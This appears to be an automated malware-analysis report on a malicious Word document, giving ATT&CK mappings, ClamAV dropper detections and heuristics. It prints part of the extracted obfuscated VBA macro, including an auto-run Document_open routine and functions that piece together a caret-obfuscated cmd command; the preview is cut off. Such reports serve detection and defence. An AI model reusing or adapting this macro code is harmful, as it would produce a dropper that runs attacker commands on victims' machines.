MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function for execution. This indicates the document is designed to run arbitrary code, likely to download and execute a secondary payload. The ClamAV detection 'Doc.Dropper.Agent-7058136-0' further supports its role as a dropper.
Heuristics 6
-
ClamAV: Doc.Dropper.Agent-6612514-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6612514-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 34210 bytes |
SHA-256: 9615e9c6711607761a32fe82c9696eccb38bab5e0168e428c966415f7dbe9064 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "AGAPzvTqDDrd"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function XoJcZwhTi()
ARAic = (10500 * nHXBT / 67170 * zNPHvw * 95322 * QlnzD)
VOXJuN = (74185 * YiiJat / 59344 * jZMaCR * 20966 * Fnnoh)
NXJwnR = (56887 * XDLCH / 95932 * bOaED * 87994 * CiNfR)
fWJPQ = (8480 * NKTEIj / 87274 * jjuUwu * 34385 * sEDPEG)
obGjU = (81668 * aurSFj / 94100 * iPiuvc * 1959 * CWEBUi)
End Function
Private Sub Document_open()
On Error Resume Next
lROiak = (39906 / aZTwr + 84788 * GcNao - wvGXP * XmwfG)
wAEhq = (12889 / ofmFI + 35459 * AiUdW - IUMqT * ubsji)
nciUm = (6319 / wiunXU + 21038 * DlHQO - QdnNO * MbwvHQ)
TwflQ = (38581 / dPPNf + 35797 * EcVjs - sSGOXt * drpuD)
ipvIz = (7686 / zVSqri + 53596 * TLjPhM - pRNWz * maVJmM)
kwGkSMij = Application.Run("QLzzFEtuvwiS", "" + mXYqdFrDO + wUDpSuqGI + CVar("c") + HLLLzmbtNY + liEWwjfvjMH + nXDaWr + PcpwLNQF + GtjmXV + fwNFi + dpYmOWf + RRLftuNpF + boPaMw + HpwQdQaP + kuwUb + ThVkdtfiHzU + wAcNzvNa + oTuXrlNPdBz + oRUiXAc + YtjKmduE + aBwifPXR + MjovvwnYfOv + iOoLtcziva)
LvzjFR = (97736 / mwwam + 32332 * CshHB - NvGVaT * PBRJh)
Aqrazw = (81553 / fSNZcY + 95434 * NSFFwz - Liwwwk * mtmjEL)
End Sub
Function FAaPoHBq()
hVjCu = (2533 / YQuzr + 95541 * SuQOMO - pjNpBj * RrtShs)
JNoXPL = (86477 / jFpqt + 22615 * pcFPRG - uKrnd * iWFNl)
PDqcu = (73061 / wjvzz + 87809 * wfTmv - llGIz * XkDDd)
YjFlvK = (30728 / SXJupN + 70490 * ELNap - ifbiW * NAcEvf)
fUdwR = (84272 / DNULKH + 13157 * RInOu - fizic * OQvcSs)
iuSXr = (53812 / cEJPoQ + 60296 * mVcAGD - aYNAo * GanKb)
ZlTtrH = (26697 / lksQw + 1406 * DjLPr - VMtViH * BiKFG)
End Function
Attribute VB_Name = "TUHqdbnhsn"
Function nXDaWr()
On Error Resume Next
hUjCYl = 81056 / IEKkpv - 12648 / jkwUvj / 34039 / 2038
hsnmsz = (kcbMj / GAdhi * URfafh / 11209 + (DwzDid / EzwWLK))
WRTzlR = CStr(Chr(sJAlQAsrr + ZEzntEkRrfffKa + 109 + raPVHjhHvEIiuE + hqzGhFapaqn)) + "d" + " /" + CStr(Chr(dqLiEARb + tWrspwGXnpFwT + 99 + PmzauQswvRN + qDZwQBGjpMlsUT)) + " ^Fo" + "r "
ilAfq = (SCnQE / BRIFm * CoiYi / 9998 + (CDhKS / qNMvtj))
kdvPSZ = (CfnQZ / cPoGHv * oQlrV / 80446 + (LoVOY / hSLiJ))
LOmtjWhMI = "; /" + "^F " + "; " + CStr(Chr(HfWkHpOSBVXAYw + zLjkQGiRTrZ + 34 + haztDomrM + oHwuiGL)) + " " + " to" + "kens= " + " +2" + " deli" + CStr(Chr(KtImOiAzERPP + UvaHUIo + 109 + XfwJJnnMjjoDn + iYnpmuYm)) + "s=K" + "z" + "aHxF" + CStr(Chr(czEzqkw + lHSVrJR + 34 + izBhdPcvUzzt + vGhnjNpvrchjC)) + " " + "; ," + " %"
zXtts = (NzXpml / zTrEu * LzOKZs / 25278 + (JDGzv / wpssz))
ANQfc = (vhwTdO / TLlNTB * dDtQsq / 41461 + (KbzGR / Lmziz))
OluGzpjJ = "L ;" + " ," + " " + "^IN"
LkdiMw = (EfZwwb / TznlRc * XUWzL / 14734 + (njVvN / sJnKd))
qsJHY = (Euhack / pzWJm * LJlOD / 92284 + (nMUuIm / IZDutJ))
GvZKUw = (TzqLo / EnPGkB * OQwDAi / 47110 + (JMcIs / QbuMcO))
ZddEd = " ; ( " + " " + ";" + " , " + "' " + "; F^^" + "typ" + "e ," + " ^" + "| ; " + "; F^^" + "Ind "
iCfIf = (bYCqpj / FdFLjK * ZmRpnI / 31080 + (bQcwNu / MXnMN))
sRwQMU = (oidPGp / kqUWKf * lOrTBz / 33124 + (XUwIdu / sWwvVn))
ttFDvAdU = ", " + CStr(Chr(vfUpoDA + WoWuQzcMmOWPKV + 34 + umHYzwMQsZTcD + vEmRuqufuAVuo)) + "SHC" + CStr(Chr(lKnzuQsdvZbGC + AIcZbKXEmAz + 109 + YdCYaEnJp + YCaqsTkro)) + CStr(Chr(MRPOdNFAzuJfFR + fzDUKDN + 34 + jjLTPHSwYR + MbZDpIUP)) + " , " + "," + " "
HEOchS = (DEzGDF / KVIGKI * zMzkz / 96394 + (OJIDPI / zkpAE))
EiownZ = (aNhXqP / rRrjU * puqCo / 93371 + (MkTFGd / tiInK))
KEMqHfZrl = "' , )" + " ; " + "^D^" + "O"
nXDaWr = WRTzlR + LOmtjWhMI + OluGzpjJ + ZddEd + ttFDvAdU + KEMqHfZrl
wbjYtC = (TzQjQ / KnmIq * ZqtcRN / 80507 + (JIDZv / BzPVPD))
QWpWM = (juWfU / PwDwPL * lwKtr / 76970 + (BMYQsn / SZXnv))
End Function
Function PcpwLNQF()
On Error Resume Next
PmXFKK = (uQGEz / KGcwiW * WVGnj / 63693 + (XjLUKj / jYVld))
SIJnnG = (TuoMi /
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.